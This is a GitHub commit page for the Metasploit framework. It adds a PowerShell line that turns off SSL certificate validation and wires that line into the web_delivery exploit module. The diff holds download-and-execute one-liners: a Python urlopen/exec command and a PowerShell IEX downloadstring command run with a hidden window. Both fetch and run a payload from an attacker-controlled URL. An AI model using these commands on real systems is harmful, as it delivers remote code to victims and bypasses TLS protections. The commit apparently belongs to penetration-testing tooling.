Skip to content

Commit c1b0385

Browse files
committed
Land rapid7#4460, @Meatballs1's ssl cert validation bypass on powershell web delivery
2 parents 2bed52d + 40c1fb8 commit c1b0385

File tree

2 files changed

+11
-1
lines changed

2 files changed

+11
-1
lines changed

lib/rex/exploitation/powershell/psh_methods.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,15 @@ def self.who_locked_file(filename)
6464
def self.get_last_login(user)
6565
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
6666
end
67+
68+
#
69+
# Disable SSL Certificate verification
70+
#
71+
# @return [String] Powershell code to disable SSL verification
72+
# checks.
73+
def self.ignore_ssl_certificate
74+
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
75+
end
6776
end
6877
end
6978
end

modules/exploits/multi/script/web_delivery.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,8 @@ def primer
8888
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
9090
when 'PSH'
91-
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
91+
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
92+
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
9293
print_line generate_psh_command_line(
9394
noprofile: true,
9495
windowstyle: 'hidden',

0 commit comments

Comments
 (0)